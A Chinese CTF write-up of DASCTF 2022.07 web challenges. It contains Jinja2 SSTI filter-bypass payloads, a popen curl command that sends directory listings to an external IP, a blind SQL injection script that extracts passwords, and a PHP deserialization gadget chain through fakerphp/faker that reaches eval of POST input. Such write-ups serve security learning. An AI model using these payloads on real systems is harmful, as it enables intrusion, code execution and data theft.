DASCTF2022.07赋能赛复现

[toc]

Ez to getflag

会检查上传的文件的内容,不能存在php,可以使用短标签绕过,但是不知道文件上传的存放路径。

本来以为是文件上传,但是没想到是任意文件读取!!!

image-20220730174626603

Harddisk

fuzz,过滤了很多的关键词

image-20220731131121372

其中大括号可以使用{%print(......)%}{% if ... %}1{% endif %}的形式来代替,而print被过滤,所以用后者

根据过滤信息,[]class等关键词都被过滤,所以使用attr和unicode编码进行绕过

1
2
3
{%if("".__class__)%}555{%endif%}
{%if(""|attr("__class__"))%}555{%endif%}
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}555{%endif%}

如果执行成功,回显555

image-20220731180108482

因为只能根据是否回显555来判断,相当于盲注,所以用自动化脚本来判断寻找可以用的类

1
2
3
{%if(""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(xx)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}555{%endif%}

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(132)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}555{%endif%}

进行爆破,得到132

image-20220801104937777

因为不能回显,所以使用外带命令实现

1
2
3
{%if(""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(xx)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 116.62.240.148:7011 -d "`ls /`"")|attr("read")())%}555{%endif%}

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(132)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0037\u0030\u0031\u0031")|attr("\u0072\u0065\u0061\u0064")())%}555{%endif%}

不知道是不是题目环境问题,curl有时候行,有时候不行,有时候销毁靶机之后就会像下面这样忽然出现一大堆的请求(真神奇)

image-20220801132613514

而后销毁又申请环境好多次,尝试无果。。。

绝对防御

JSFinder:查找隐藏在js文件中的api 接口和敏感目录,以及一些子域名

1
python JSFinder.py -u http://badcc3c9-4df2-4c54-a430-bc7c8b122353.node4.buuoj.cn:81/

扫描结果

image-20220801234847743

访问SUPPERAPI.php,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>

function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}

function check(){
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert("提示:您输入的信息含有非法字符!");
window.location.href = "/"
}
}
check()

</script>

window.location.search.substring(1)功能为获取当前页面GET方式请求?后的指定参数

这段代码的意思大概为传递调用getQueryVariable,参数为id,该函数中获取?后的请求参数,用&分割,用=分割,取前者,也就是变量名,并将该变量名和id进行对比,成功则返回pair[1]

所以要传递变量id,但是接下来怎么利用不清楚,根据官方wp,这里用id进行sql盲注(防护不用管,是前端的防护,直接写脚本就可以)

image-20220802001640636

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

flag = ''
url = "http://badcc3c9-4df2-4c54-a430-bc7c8b122353.node4.buuoj.cn:81/SUPPERAPI.php?"
for j in range(0,50):
print("j="+str(j))
for i in range(35,128):
payload = "id=1 and ascii(substr(database(),"+str(j)+",1))="+str(i) # # 爆库名 ctf
payload = "id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(j) + ",1))=" + str(i) # 爆表名 users
payload = "id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users')," + str(j) + ",1))=" + str(i) #爆字段名 id,username,password,ip,time,USER
payload = "id=1 and ascii(substr((select password from users where id=2)," + str(j) + ",1))=" + str(i) # 爆password
# payload = "id=1 and ascii(substr(database(),%d,1))=%s" %(j,str(i)) # 爆库名
# payload = "id=1 and 2>1"
# print(payload)

response = requests.get(url+payload)
# print(response.text)
if r"admin" in response.text:
flag += chr(i)
print("flag="+flag)
break

Newser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

<?php

class User
{
protected $_password;
protected $_username;
private $username;
private $password;
private $email;
private $instance;


public function __construct($username,$password,$email)
{
$this->email = $email;
$this->username = $username;
$this->password = $password;
$this->instance = $this;
}

/**
* @return mixed
*/
public function getEmail()
{
return $this->email;
}

/**
* @return mixed
*/
public function getPassword()
{
return $this->password;
}

/**
* @return mixed
*/
public function getUsername()
{
return $this->username;
}

public function __sleep()
{
$this->_password = md5($this->password);
$this->_username = base64_encode($this->username);
return ['_username','_password', 'email','instance'];
}

public function __wakeup()
{
$this->password = $this->_password;
}

public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
} User bWlubmllLndlaW1hbm4= has created.

对cookie进行base64解码

image-20220806191259786

1
O:4:"User":4:{s:12:"*_username";s:12:"ZGVyZWswNQ==";s:12:"*_password";s:32:"03a83270035a975b5150954956db1a46";s:11:"Useremail";s:17:"levi87@barton.com";s:14:"Userinstance";r:1;}

cookie是User类对象的序列化

而页面回显的User ZGVyZWswNQ== has created.表示__destruct方法被调用,找反序列化利用链

composer.json泄露

1
2
3
4
5
6
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}

对于fakerphp这个依赖,他的Generator类,是主要的类,生成不存在的属性时都通过format方法,这个方法中存在call_user_func_array 的调用

关键的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __get($attribute)
{
trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);

return $this->format($attribute);
}
public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}
public function __wakeup()
{
$this->formatters = [];
}
public function getFormatter($format)
{
if (isset($this->formatters[$format])) {
return $this->formatters[$format];
}

注意Faker\Generator类中有一个__wakeup方法,会将formatters的值替换为空,所以无论我们刚开始对formatters赋值的是什么,都会在__wakeup这里将其替换为空数组

1
2
3
4
public function __wakeup()
{
$this->formatters = [];
}

官方wp中,这里用的是php引用来绕过,比较关键的是该引用语句执行在 Generator类的__wakeup 后

因为不是很理解,所以本地调试一下,设置了formatters的两种情况

image-20220807001238313

php引用

当其为地址时,在Faker\Generator的wakeup执行前,这个formatters为null,wakeup执行后,其变为空数组

image-20220807001458924

而在User类的wakeup执行后,这个formatters变为了["_username"=>"phpinfo"]

image-20220807001702781

这是一个很有趣的现象,这就导致了wakeup方法的防护是无用的,可以通过php引用对对象任意赋值

非php引用情况下

1
2
3
4
5
public function __construct($obj)
{
// $this->formatters = &$obj->password;
$this->formatters = ["_username"=>"phpinfo"];
}

虽然Faker\Generator类对象在wakeup函数执行前,formatters为["_username"=>"phpinfo"],但是在wakeup函数执行后,还是被修改为了空数组

并且因为没有使用php引用,所以formatters始终为空数组

image-20220807002107803

exp分析

这里分析一下调用phpinfo()的原理,__get方法中参数为__username,然后一路传参,在最后call_user_func_array($this->getFormatter($format), $arguments);那里,第一个参数就是phpinfo,而第二个参数为空,所以就是调用phpinfo

image-20220807002958404

image-20220807003144032

调用非phpinfo函数

因为我们是通过__get 传入的,传入函数的参数不可控,phpinfo不需要参数,所以调用了。如果想要只控制函数,造成任意代码执行,可以使用反序列化闭包,这在之前也是有考过的。直接包含closure依赖中的autoload.php

image-20220807004720019

image-20220807005604354

整个过程中调试的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

namespace {
class User{
private $instance;
public $password;
private $_password;

public function __construct()
{
$this->instance = new Faker\Generator($this);
// $this->_password = ["_username"=>"phpinfo"];
$func = function(){eval($_POST['cmd']);};
require 'vendor\opis\closure\autoload.php'; //相对路径

$b=Opis\Closure\serialize($func); //调用该serialize()
$c=unserialize($b);
$this->_password = ["_username"=>$c];

}
public function __wakeup()
{
echo 1;
$this->password = $this->_password;
}

public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
}
$str1 = str_replace('s:8:"password"',urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User()));
// echo "运行";
var_dump(base64_encode($str1));
unserialize($str1);

}
namespace Faker{
class Generator{
private $formatters;
public function __construct($obj)
{
$this->formatters = &$obj->password;
// $this->formatters = ["_username"=>"phpinfo"];
}
public function __get($attribute)
{
// trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);

return $this->format($attribute);
}
public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}
public function __wakeup()
{
echo 2;
$this->formatters = [];
}
public function getFormatter($format)
{
if (isset($this->formatters[$format])) {
return $this->formatters[$format];
}
}
}
}

总结

最后的Newser的php引用学到了,而包含closure依赖中的autoload.php那里还不清楚原理,要继续学一下。